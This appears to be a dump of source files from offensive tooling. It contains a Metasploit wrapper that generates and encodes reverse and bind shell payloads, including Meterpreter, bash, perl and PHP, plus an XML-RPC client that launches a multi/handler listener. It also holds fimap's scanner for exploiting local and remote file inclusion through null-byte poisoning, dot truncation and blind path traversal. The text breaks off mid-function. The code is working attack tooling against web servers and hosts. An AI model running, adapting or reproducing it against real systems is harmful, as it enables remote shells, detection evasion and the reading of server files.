code
stringlengths
1
1.72M
language
stringclasses
1 value
# # Copyright (c) 2010 Xavier Garcia xavi.garcia@gmail.com # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of copyright holders nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. from plugins.msf.pymetasploit.MetasploitObj import MsfObj from plugins.msf.pymetasploit.MetasploitPayload import MsfPayload from plugins.msf.pymetasploit.MetasploitEncode import MsfEncode class MsfWrapper(object): msfObj=None def __init__(self): self.msfObj=MsfObj() def phpReverseShell(self,lhost,lport): self.msfObj.setRequestedPayload("php/reverse_php") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def phpBindShell(self,rhost,lport): self.msfObj.setRequestedPayload("php/reverse_php") self.msfObj.setParams(["RHOST="+rhost,"LPORT="+lport]) self.msfObj.setMode("R") def winMeterpreterReverseTcp(self,lhost,lport): self.msfObj.setRequestedPayload("windows/meterpreter/reverse_tcp") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("X") def winMeterpreterReverseTcpRaw(self,lhost,lport): self.msfObj.setRequestedPayload("windows/meterpreter/reverse_tcp") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def linuxBindShell(self,lport): self.msfObj.setRequestedPayload("linux/x86/shell_bind_tcp") self.msfObj.setParams(["LPORT="+lport]) self.msfObj.setMode("X") def linuxPerlReverseShell(self,lhost,lport): self.msfObj.setRequestedPayload("cmd/unix/reverse_perl") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def linuxBashReverseShell(self,lhost,lport): self.msfObj.setRequestedPayload("cmd/unix/reverse_bash") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("R") def winShellReverseTcp(self,lhost,lport): self.msfObj.setRequestedPayload("windows/shell_reverse_tcp") self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport]) self.msfObj.setMode("X") def createPayload(self): msfP=MsfPayload(self.msfObj) msfP.msfLoadPayload() def encodeBase64(self): msfE=MsfEncode(self.msfObj) msfE.toBase64() def encodeXor(self,key): msfE=MsfEncode(self.msfObj) msfE.toXor(key) def encodeHex(self): msfE=MsfEncode(self.msfObj) msfE.toHex() def encodeShikataGaNai(self,times=1,arch="x86"): msfE=MsfEncode(self.msfObj) msfE.toShikataGaNai(times,arch) def encodeWinDebug(self): msfE=MsfEncode(self.msfObj) msfE.toWinDebug() def encodeBash(self): msfE=MsfEncode(self.msfObj) msfE.toBash() def getPayload(self): return self.msfObj.getPayload() def loadCustomPayload(self,payload): self.msfObj.setPayload(payload) def loadCustomPayloadFromFile(self,file): msfObj=MsfWrapper() fd=open(file,'rb') payload=fd.read() fd.close() self.loadCustomPayload(payload)
Python
# # Copyright (c) 2010 Xavier Garcia xavi.garcia@gmail.com # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. Neither the name of copyright holders nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. import xmlrpclib import socket import sys import time class MsfXmlRpcListenerErr(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class MsfXmlRpcListener: payload="cmd/unix/reverse_netcat" lport="8080" lhost="127.0.0.1" user="msf" password="" connection="" token="" def __init__(self): pass def setPassword(self,passwd): self.password=passwd def getPassword(self): return self.password def setUser(self,usr): self.user=usr def getUser(self): return self.user def setLhost(self,host): self.lhost=host def getLhost(self): return self.lhost def setLport(self,port): self.lport=port def getLport(self): return self.lport def setPayload(self,payload): self.payload=payload def getPayload(self): return self.payload #msf > load xmlrpc Pass=abc123 ServerType=Web def login(self): self.connection = xmlrpclib.ServerProxy("http://localhost:55553") try: ret = self.connection.auth.login(self.user,self.password) self.token= ret['token'] if ret['result']!= 'success': raise MsfXmlRpcListenerErr("Error while connection to msfconsole: login didn't return success") except socket.error, err: raise MsfXmlRpcListenerErr('Error while connection to msfconsole: %s' % str(err)) except xmlrpclib.Fault, err: raise MsfXmlRpcListenerErr('Error while login to msfconsole: %s' % str(err)) def launchHandler(self): opts = { "LHOST" : self.lhost,"LPORT" : self.lport, "PAYLOAD": self.payload} ret = self.connection.module.execute(self.token,"exploit","exploit/multi/handler",opts) if ret['result']!='success': raise MsfXmlRpcListenerErr("Unexpected error while creating the listener") print "Sleeping before returning the created payload..." time.sleep(5)
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from config import settings from copy import copy, deepcopy import pickle import shutil import baseClass from report import report import re,os import os.path import posixpath import ntpath import difflib import time __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$30.08.2009 19:59:44$" class targetScanner (baseClass.baseClass): def _load(self): self.MonkeyTechnique = False self._log("TargetScanner loaded.", self.LOG_DEVEL) self.params = {} self.postparams = {} self.header = {} def prepareTarget(self, url): self.Target_URL = url self._log("Inspecting URL '%s'..."%(self.Target_URL), self.LOG_ALWAYS) self._log("Analyzing provided GET params...", self.LOG_DEBUG); if (self.Target_URL.count("?") == 0): self._log("Target URL doesn't have any GET params.", self.LOG_DEBUG); else: data = self.Target_URL.split("?")[1] if (data.find("&") == -1): self.__addToken(self.params, data) else: for ln in data.split("&"): self.__addToken(self.params, ln) self._log("Analyzing provided POST params...", self.LOG_DEBUG); post = self.config["p_post"] if (post != ""): if (post.find("&") == -1): self.__addToken(self.postparams, post) else: for ln in post.split("&"): self.__addToken(self.postparams, ln) else: self._log("No POST params provided.", self.LOG_DEBUG); self._log("Analyzing provided headers...", self.LOG_DEBUG); header = self.config["header"] if (len(header) > 0): for key, headerString in header.items(): self.header[key] = {} if (headerString.find(";") == -1): self.__addToken(self.header[key], headerString) else: for ln in headerString.split(";"): self.__addToken(self.header[key], ln) else: self._log("No headers provided.", self.LOG_DEBUG); return(len(self.params)>0 or len(self.postparams)>0 or len(self.header)>0) def analyzeURL(self, result, k, v, post=None, haxMode=0, header=None, headerKey=None): tmpurl = self.Target_URL tmppost = post headDict = header rndStr = self.getRandomStr() if (haxMode == 0): tmpurl = tmpurl.replace("%s=%s"%(k,v), "%s=%s"%(k, rndStr)) elif (haxMode == 1): tmppost = tmppost.replace("%s=%s"%(k,v), "%s=%s"%(k, rndStr)) elif (haxMode == 2): tmphead = headDict[headerKey] tmphead = tmphead.replace("%s=%s"%(k,v), "%s=%s"%(k, rndStr)) headDict[headerKey] = tmphead code = None if (post==None): self._log("Requesting: '%s'..." %(tmpurl), self.LOG_DEBUG) code = self.doGetRequest(tmpurl, additionalHeaders=headDict) else: self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, tmppost), self.LOG_DEBUG) code = self.doPostRequest(tmpurl, tmppost, additionalHeaders=headDict) if (len(headDict)>0): for ck,vv in headDict.items(): self._log(" Header: '%s' -> %s"%(ck, vv), self.LOG_DEBUG) xml2config = self.config["XML2CONFIG"] READFILE_ERR_MSG = xml2config.getAllReadfileRegex() if (code != None): disclosure_found = False for lang, ex in READFILE_ERR_MSG: RE_SUCCESS_MSG = re.compile(ex%(rndStr), re.DOTALL) m = RE_SUCCESS_MSG.search(code) if (m != None): if (haxMode == 0): self._log("Possible local file disclosure found! -> '%s' with Parameter '%s'. (%s)"%(tmpurl, k, lang), self.LOG_ALWAYS) elif (haxMode == 1): self._log("Possible local file disclosure found! -> '%s' with POST-Parameter '%s'. (%s)"%(tmpurl, k, lang), self.LOG_ALWAYS) elif (haxMode == 2): self._log("Possible local file disclosure found! -> '%s' with Header(%s)-Parameter '%s'. (%s)"%(tmpurl, k, headerKey, lang), self.LOG_ALWAYS) #self.identifyReadFile(URL, Params, VulnParam) self._writeToLog("READ ; %s ; %s"%(tmpurl, k)) disclosure_found = True break if (not disclosure_found): sniper_regex = xml2config.getAllSniperRegex() for lang, sniper in sniper_regex: RE_SUCCESS_MSG = re.compile(sniper%(rndStr), re.DOTALL) m = RE_SUCCESS_MSG.search(code) if (m != None): rep = None self._writeToLog("POSSIBLE ; %s ; %s"%(self.Target_URL, k)) if (haxMode == 0): self._log("[%s] Possible file inclusion found! -> '%s' with Parameter '%s'." %(lang, tmpurl, k), self.LOG_ALWAYS) rep = self.identifyVuln(self.Target_URL, self.params, k, post, lang, haxMode, None, None, headerKey, headerDict = headDict) elif (haxMode == 1): self._log("[%s] Possible file inclusion found! -> '%s' with POST-Parameter '%s'." %(lang, tmpurl, k), self.LOG_ALWAYS) rep = self.identifyVuln(self.Target_URL, self.postparams, k, post, lang, haxMode, None, None, headerKey, headerDict = headDict) elif (haxMode == 2): self._log("[%s] Possible file inclusion found! -> '%s' with Header(%s)-Parameter '%s'." %(lang, tmpurl, headerKey, k), self.LOG_ALWAYS) rep = self.identifyVuln(self.Target_URL, self.header, k, post, lang, haxMode, None, None, headerKey, headerDict = headDict) if (rep != None): rep.setVulnKeyVal(v) rep.setLanguage(lang) result.append((rep, self.readFiles(rep))) return(result) def analyzeURLblindly(self, i, testfile, k, v, find, goBackSymbols, post=None, haxMode=0, isUnix=True, header=None, headerKey=None): tmpurl = self.Target_URL tmppost = post rep = None doBreak = False headDict = deepcopy(header) if (haxMode == 0): tmpurl = tmpurl.replace("%s=%s"%(k,v), "%s=%s"%(k, testfile)) elif (haxMode == 1): tmppost = tmppost.replace("%s=%s"%(k,v), "%s=%s"%(k, testfile)) elif (haxMode == 2): tmphead = headDict[headerKey] tmphead = tmphead.replace("%s=%s"%(k,v), "%s=%s"%(k, testfile)) headDict[headerKey] = tmphead if (post != None and post != ""): self._log("Requesting: '%s'..." %(tmpurl), self.LOG_DEBUG) else: self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, tmppost), self.LOG_DEBUG) code = self.doPostRequest(tmpurl, tmppost, additionalHeaders=headDict) if (code != None): if (code.find(find) != -1): if (haxMode == 0): self._log("Possible file inclusion found blindly! -> '%s' with Parameter '%s'." %(tmpurl, k), self.LOG_ALWAYS) rep = self.identifyVuln(self.Target_URL, self.params, k, post, None, haxMode, (goBackSymbols * i, False), isUnix, headerDict = headDict) elif (haxMode == 1): self._log("Possible file inclusion found blindly! -> '%s' with POST-Parameter '%s'." %(tmpurl, k), self.LOG_ALWAYS) rep = self.identifyVuln(self.Target_URL, self.postparams, k, post, None, haxMode, (goBackSymbols * i, False), isUnix, headerDict = headDict) elif (haxMode == 2): self._log("Possible file inclusion found blindly! -> '%s' with Header(%s)-Parameter '%s'." %(tmpurl, headerKey, k), self.LOG_ALWAYS) rep = self.identifyVuln(self.Target_URL, self.header, k, post, None, haxMode, (goBackSymbols * i, False), isUnix, headerKey, headerDict = headDict) doBreak = True else: tmpurl = self.Target_URL tmpfile = testfile + "%00" postdata = post headDict = deepcopy(header) if (haxMode == 0): tmpurl = tmpurl.replace("%s=%s"%(k,v), "%s=%s"%(k, tmpfile)) elif (haxMode == 1): postdata = postdata.replace("%s=%s"%(k,v), "%s=%s"%(k, tmpfile)) elif (haxMode == 2): tmphead = headDict[headerKey] tmphead = tmphead.replace("%s=%s"%(k,v), "%s=%s"%(k, tmpfile)) headDict[headerKey] = tmphead if (post != None and post != ""): self._log("Requesting: '%s'..." %(tmpurl), self.LOG_DEBUG) else: self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, postdata), self.LOG_DEBUG) code = self.doPostRequest(tmpurl, postdata, additionalHeaders=headDict) if (code == None): self._log("Code == None. Skipping testing of the URL.", self.LOG_DEBUG) if (self.config["p_skiponerror"] == True): # User decided to skip blind check if server returned an error. self._log("You decided to cancel blind checks when the server returned an error.", self.LOG_ALWAYS) self._log("Code == None. Skipping testing of the URL.", self.LOG_DEBUG) doBreak = True else: if (code.find(find) != -1): if (haxMode == 0): self._log("Possible file inclusion found blindly! -> '%s' with Parameter '%s'." %(tmpurl, k), self.LOG_ALWAYS) doBreak = True elif (haxMode == 1): self._log("Possible file inclusion found blindly! -> '%s' with POST-Parameter '%s'." %(tmpurl, k), self.LOG_ALWAYS) doBreak = True elif (haxMode == 2): self._log("Possible file inclusion found blindly! -> '%s' with Header(%s)-Parameter '%s'." %(tmpurl, headerKey, k), self.LOG_ALWAYS) doBreak = True rep = self.identifyVuln(self.Target_URL, self.params, k, post, None, haxMode, (goBackSymbols * i, True), isUnix, headerKey, headerDict = headDict) else: # Previous result was none. Assuming that we can break here. doBreak = True return(rep, doBreak) def testTargetVuln(self): ret = [] xml2config = self.config["XML2CONFIG"] self._log("Fiddling around with URL...", self.LOG_INFO) # Scan Get for k,v in self.params.items(): self.analyzeURL(ret, k, v, self.config["p_post"], 0, self.config["header"]) # Scan Post for k,v in self.postparams.items(): self.analyzeURL(ret, k, v, self.config["p_post"], 1, self.config["header"]) # Scan Headers for key,params in self.header.items(): for k,v in params.items(): self.analyzeURL(ret, k, v, self.config["p_post"], 2, deepcopy(self.config["header"]), key) if (len(ret) == 0 and self.MonkeyTechnique): self._log("Sniper failed. Going blind...", self.LOG_INFO) files = xml2config.getBlindFiles() os_restriction = self.config["force-os"] for fileobj in files: post = fileobj.getPostData() v = fileobj.getFindStr() f = fileobj.getFilepath() if (os_restriction != None): if (fileobj.isWindows() and os_restriction != "windows"): continue if (fileobj.isUnix() and os_restriction != "linux"): continue backSyms = (fileobj.getBackSymbols(), fileobj.getBackSymbols(False)) get_done = False post_done = False head_done = {} for backSym in backSyms: # URL Special Char Multiplier if (self.config["p_multiply_term"] > 1): multi = self.config["p_multiply_term"] backSym = backSym.replace("..", ".." * multi) backSym = backSym.replace(fileobj.getBackSymbol(), fileobj.getBackSymbol() * multi) for i in range(xml2config.getBlindMin(), xml2config.getBlindMax()): doBreak = False testfile = f if (i > 0): tmpf = f if (fileobj.isWindows()): tmpf = f[f.find(":")+1:] testfile = backSym * i + tmpf rep = None if not get_done: for k,V in self.params.items(): rep, doBreak = self.analyzeURLblindly(i, testfile, k, V, v, backSym, self.config["p_post"], 0, fileobj.isUnix(), deepcopy(self.config["header"])) if (rep != None): rep.setVulnKeyVal(V) rep.setPostData(self.config["p_post"]) rep.setPost(0) rep.setHeader(deepcopy(self.config["header"])) ret.append((rep, self.readFiles(rep))) get_done = True if not post_done: for k,V in self.postparams.items(): rep, doBreak = self.analyzeURLblindly(i, testfile, k, V, v, backSym, self.config["p_post"], 1, fileobj.isUnix(), deepcopy(self.config["header"])) if (rep != None): rep.setVulnKeyVal(V) rep.setPostData(self.config["p_post"]) rep.setPost(1) rep.setHeader(deepcopy(self.config["header"])) ret.append((rep, self.readFiles(rep))) post_done = True for key,params in self.header.items(): if (not head_done.has_key(key)): head_done[key] = False if (not head_done[key]): for k,val in params.items(): rep, doBreak = self.analyzeURLblindly(i, testfile, k, val, v, backSym, self.config["p_post"], 2, fileobj.isUnix(), deepcopy(self.config["header"]), key) if (rep != None): rep.setVulnKeyVal(val) rep.setVulnHeaderKey(key) rep.setPostData(self.config["p_post"]) rep.setPost(2) rep.setHeader(deepcopy(self.config["header"])) ret.append((rep, self.readFiles(rep))) head_done[key] = True if (doBreak): return(ret) # <-- Return if we found one blindly readable file. # When this is a remote file inclusion test done blindly, we do not want to bruteforce # subdirectories with ../../http://www.... nonsense. if ("R" in fileobj.getFlags()): break return(ret) def identifyVuln(self, URL, Params, VulnParam, PostData, Language, haxMode=0, blindmode=None, isUnix=None, headerKey=None, headerDict=None): xml2config = self.config["XML2CONFIG"] if (blindmode == None): r = report(URL, Params, VulnParam) script = None scriptpath = None pre = None langClass = xml2config.getAllLangSets()[Language] if (haxMode == 0): self._log("[%s] Identifying Vulnerability '%s' with Parameter '%s'..."%(Language, URL, VulnParam), self.LOG_ALWAYS) elif (haxMode == 1): self._log("[%s] Identifying Vulnerability '%s' with POST-Parameter '%s'..."%(Language, URL, VulnParam), self.LOG_ALWAYS) elif (haxMode == 2): self._log("[%s] Identifying Vulnerability '%s' with Header(%s)-Parameter '%s'..."%(Language, URL, headerKey, VulnParam), self.LOG_ALWAYS) tmpurl = URL PostHax = PostData rndStr = self.getRandomStr() if (haxMode == 0): tmpurl = tmpurl.replace("%s=%s"%(VulnParam,Params[VulnParam]), "%s=%s"%(VulnParam, rndStr)) elif (haxMode == 1): PostHax = PostHax.replace("%s=%s"%(VulnParam,Params[VulnParam]), "%s=%s"%(VulnParam, rndStr)) elif (haxMode == 2): tmphead = deepcopy(self.config["header"][headerKey]) tmphead = tmphead.replace("%s=%s"%(VulnParam,Params[headerKey][VulnParam]), "%s=%s"%(VulnParam, rndStr)) headerDict[headerKey] = tmphead r.setVulnHeaderKey(headerKey) RE_SUCCESS_MSG = re.compile(langClass.getSniper()%(rndStr), re.DOTALL) code = self.doPostRequest(tmpurl, PostHax, additionalHeaders=headerDict) if (code == None): self._log("Identification of vulnerability failed. (code == None)", self.LOG_ERROR) return None m = RE_SUCCESS_MSG.search(code) if (m == None): self._log("Identification of vulnerability failed. (m == None)", self.LOG_ERROR) return None r.setPost(haxMode) r.setPostData(PostData) r.setHeader(deepcopy(self.config["header"])) for sp_err_msg in langClass.getIncludeDetectors(): RE_SCRIPT_PATH = re.compile(sp_err_msg, re.S) s = RE_SCRIPT_PATH.search(code) if (s != None): break if (s == None): self._log("Failed to retrieve script path.", self.LOG_WARN) print "[MINOR BUG FOUND]" print "------------------------------------------------------" print "It's possible that fimap was unable to retrieve the scriptpath" print "because the regex for this kind of error message is missing." a = raw_input("Do you want to help me and send the URL of the site? [y = Print Info/N = Discard]") if (a=="y" or a=="Y"): print "-----------SEND THIS TO 'fimap.dev@gmail.com'-----------" print "SUBJECT: fimap Regex" print "ERROR : Failed to retrieve script path." print "URL : " + URL print "-----------------------------------------------------------" raw_input("Copy it and press enter to proceed with scanning...") else: print "No problem! I'll continue with your scan..." return(None) else: script = s.group('script') if (script != None and script[1] == ":"): # Windows detection quick hack scriptpath = script[:script.rfind("\\")] r.setWindows() elif (script != None and script.startswith("\\\\")): scriptpath = script[:script.rfind("\\")] r.setWindows() else: scriptpath = os.path.dirname(script) if (scriptpath == None or scriptpath == ""): self._log("Scriptpath is empty! Assuming that we are on toplevel.", self.LOG_WARN) scriptpath = "/" script = "/" + script # Check if scriptpath was received correctly. if(scriptpath!=""): self._log("Scriptpath received: '%s'" %(scriptpath), self.LOG_INFO) r.setServerPath(scriptpath) r.setServerScript(script) if (r.isWindows()): self._log("Operating System is 'Windows'.", self.LOG_INFO) else: self._log("Operating System is 'Unix-Like'.", self.LOG_INFO) errmsg = m.group("incname") if (errmsg == rndStr): r.setPrefix("") r.setSurfix("") else: tokens = errmsg.split(rndStr) pre = tokens[0] addSlash = False if (pre == ""): pre = "/" #else: # if pre[-1] != "/": # addSlash = True rootdir = None if (pre[0] != "/"): if (r.isUnix()): pre = posixpath.join(r.getServerPath(), pre) pre = posixpath.normpath(pre) rootdir = "/" pre = self.relpath_unix(rootdir, pre) else: pre = ntpath.join(r.getServerPath(), pre) pre = ntpath.normpath(pre) if (pre[1] == ":"): rootdir = pre[0:3] elif (pre[0:1] == "\\"): self._log("The inclusion points to a network path! Skipping vulnerability.", self.LOG_WARN) return(None) pre = self.relpath_win(rootdir, pre) else: pre = self.relpath_unix("/", pre) if addSlash: pre = rootdir + pre #Quick fix for increasing success :P if (pre != "."): pre = "/" + pre sur = tokens[1] if (pre == "."): pre = "" r.setPrefix(pre) r.setSurfix(sur) if (sur != ""): self._log("Trying NULL-Byte Poisoning to get rid of the suffix...", self.LOG_INFO) tmpurl = URL PostHax = PostData head = deepcopy(self.config["header"]) if (haxMode == 0): tmpurl = tmpurl.replace("%s=%s"%(VulnParam,Params[VulnParam]), "%s=%s%%00"%(VulnParam, rndStr)) elif (haxMode == 1): PostHax = PostData.replace("%s=%s"%(VulnParam,Params[VulnParam]), "%s=%s%%00"%(VulnParam, rndStr)) elif (haxMode == 2): tmphead = deepcopy(self.config["header"][headerKey]) tmphead = tmphead.replace("%s=%s"%(VulnParam,Params[headerKey][VulnParam]), "%s=%s%%00"%(VulnParam, rndStr)) head[headerKey] = tmphead r.setVulnHeaderKey(headerKey) code = self.doPostRequest(tmpurl, PostHax, additionalHeaders = head) if (code == None): self._log("NULL-Byte testing failed.", self.LOG_WARN) r.setSuffixBreakable(False) elif (code.find("%s\\0%s"%(rndStr, sur)) != -1 or code.find("%s%s"%(rndStr, sur)) != -1): self._log("NULL-Byte Poisoning not possible.", self.LOG_INFO) r.setSuffixBreakable(False) else: self._log("NULL-Byte Poisoning successfull!", self.LOG_INFO) r.setSurfix("%00") r.setSuffixBreakable(True) r.setSuffixBreakTechName("Null-Byte") if (sur != "" and not r.isSuffixBreakable() and self.config["p_doDotTruncation"]): if (r.isUnix() and self.config["p_dot_trunc_only_win"]): self._log("Not trying dot-truncation because it's a unix server and you have not enabled it.", self.LOG_INFO) else: self._log("Trying Dot Truncation to get rid of the suffix...", self.LOG_INFO) dot_trunc_start = self.config["p_dot_trunc_min"] dot_trunc_end = self.config["p_dot_trunc_max"] dot_trunc_step = self.config["p_dot_trunc_step"] max_diff = self.config["p_dot_trunc_ratio"] self._log("Preparing Dot Truncation...", self.LOG_DEBUG) self._log("Start: %d"%(dot_trunc_start), self.LOG_DEVEL) self._log("Stop : %d"%(dot_trunc_end), self.LOG_DEVEL) self._log("Step : %d"%(dot_trunc_step), self.LOG_DEVEL) self._log("Ratio: %f"%(max_diff), self.LOG_DEVEL) desturl = URL PostHax = PostData head = deepcopy(self.config["header"]) code1 = self.doPostRequest(URL, PostData, additionalHeaders=head) vulnParamBlock = None if (haxMode in (0,1)): vulnParamBlock = "%s=%s%s"%(VulnParam, Params[VulnParam], r.getAppendix()) else: vulnParamBlock = "%s=%s%s"%(VulnParam, Params[headerKey][VulnParam], r.getAppendix()) if (haxMode == 0): desturl = desturl.replace("%s=%s"%(VulnParam,Params[VulnParam]), vulnParamBlock) elif (haxMode == 1): PostHax = PostHax.replace("%s=%s"%(VulnParam,Params[VulnParam]), vulnParamBlock) elif (haxMode == 2): tmphead = deepcopy(self.config["header"][headerKey]) tmphead = tmphead.replace("%s=%s"%(VulnParam,Params[headerKey][VulnParam]), vulnParamBlock) headerDict[headerKey] = tmphead r.setVulnHeaderKey(headerKey) self._log("Test URL will be: " + desturl, self.LOG_DEBUG) success = False seqmatcher = difflib.SequenceMatcher() for i in range (dot_trunc_start, dot_trunc_end, dot_trunc_step): tmpurl = desturl tmppost = PostHax tmphead = deepcopy(headerDict) if (haxMode == 0): tmpurl = tmpurl.replace(vulnParamBlock, "%s%s"%(vulnParamBlock, "." * i)) elif (haxMode == 1): tmppost = tmppost.replace(vulnParamBlock, "%s%s"%(vulnParamBlock, "." * i)) elif (haxMode == 2): tmp = tmphead[headerKey] tmp = tmp.replace(vulnParamBlock, "%s%s"%(vulnParamBlock, "." * i)) tmphead[headerKey] = tmp content = self.doPostRequest(tmpurl, tmppost, additionalHeaders=tmphead) if (content == None): self._log("Dot Truncation testing failed :(", self.LOG_WARN) break seqmatcher.set_seqs(code1, content) ratio = seqmatcher.ratio() if (1-max_diff <= ratio <= 1): self._log("Dot Truncation successfull with: %d dots ; %f ratio!" %(i, ratio), self.LOG_INFO) r.setSurfix("." * i) r.setSuffixBreakable(True) r.setSuffixBreakTechName("Dot-Truncation") success = True break else: self._log("No luck with (%s)..." %(i), self.LOG_DEBUG) if (not success): self._log("Dot Truncation not possible :(", self.LOG_INFO) if (scriptpath == ""): # Failed to get scriptpath with easy method :( if (pre != ""): self._log("Failed to retrieve path but we are forced to go relative!", self.LOG_WARN) self._log("Go and try it to scan with --enable-blind.", self.LOG_WARN) return(None) else: self._log("Failed to retrieve path! It's an absolute injection so I'll fake it to '/'...", self.LOG_WARN) scriptpath = "/" r.setServerPath(scriptpath) r.setServerScript(script) return(r) else: # Blindmode prefix = blindmode[0] isNull = blindmode[1] self._log("Identifying Vulnerability '%s' with Parameter '%s' blindly..."%(URL, VulnParam), self.LOG_ALWAYS) r = report(URL, Params, VulnParam) r.setBlindDiscovered(True) r.setSurfix("") r.setHeader(deepcopy(self.config["header"])) r.setVulnHeaderKey(headerKey) if isNull: r.setSurfix("%00") r.setSuffixBreakable(isNull) r.setSuffixBreakTechName("Null-Byte") if (prefix.strip() == ""): r.setServerPath("/noop") else: r.setServerPath(prefix.replace("..", "a")) r.setServerScript("noop") slash = "" if (isUnix): slash = "/" else: slash = "\\" r.setPrefix(prefix + slash) # <-- Increase success if (not isUnix): r.setWindows() return(r) def readFiles(self, rep): xml2config = self.config["XML2CONFIG"] langClass = None if rep.isLanguageSet(): langClass = xml2config.getAllLangSets()[rep.getLanguage()] else: if (self.config["p_autolang"]): self._log("Unknown language - Autodetecting...", self.LOG_WARN) if (rep.autoDetectLanguageByExtention(xml2config.getAllLangSets())): self._log("Autodetect thinks this could be a %s-Script..."%(rep.getLanguage()), self.LOG_INFO) self._log("If you think this is wrong start fimap with --no-auto-detect", self.LOG_INFO) langClass = xml2config.getAllLangSets()[rep.getLanguage()] else: self._log("Autodetect failed!", self.LOG_ERROR) self._log("Start fimap with --no-auto-detect if you know which language it is.", self.LOG_ERROR) return([]) else: self._log("Unknown language! You have told me to let you choose - here we go.", self.LOG_WARN) boxheader = "Choose language for URL: %s" %(rep.getURL()) boxarr = [] choose = [] idx = 0 for Name, langClass in xml2config.getAllLangSets().items(): boxarr.append("[%d] %s"%(idx+1, Name)) choose.append(Name) idx += 1 boxarr.append("[q] Quit") self.drawBox(boxheader, boxarr) inp = "" while (1==1): inp = raw_input("Script number: ") if (inp == "q" or inp == "Q"): return([]) else: try: idx = int(inp) if (idx < 1 or idx > len(choose)): print "Choose out of range..." else: rep.setLanguage(choose[idx-1]) langClass = xml2config.getAllLangSets()[rep.getLanguage()] break except: print "Invalid Number!" files = xml2config.getRelativeFiles(rep.getLanguage()) abs_files = xml2config.getAbsoluteFiles(rep.getLanguage()) rmt_files = xml2config.getRemoteFiles(rep.getLanguage()) log_files = xml2config.getLogFiles(rep.getLanguage()) rfi_mode = settings["dynamic_rfi"]["mode"] ret = [] self._log("Testing default files...", self.LOG_DEBUG) for fileobj in files: post = fileobj.getPostData() p = fileobj.getFindStr() f = fileobj.getFilepath() type = fileobj.getFlags() quiz = answer = None if (post != None and post != ""): quiz, answer = langClass.generateQuiz() post = post.replace("__QUIZ__", quiz) p = p.replace("__ANSWER__", answer) if ((rep.getSurfix() == "" or rep.isSuffixBreakable() or f.endswith(rep.getSurfix()))): if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()): if (self.readFile(rep, f, p, POST=post)): ret.append(f) self.addXMLLog(rep, type, f) else: pass else: self._log("Skipping file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG) else: self._log("Skipping file '%s'."%f, self.LOG_INFO) self._log("Testing absolute files...", self.LOG_DEBUG) for fileobj 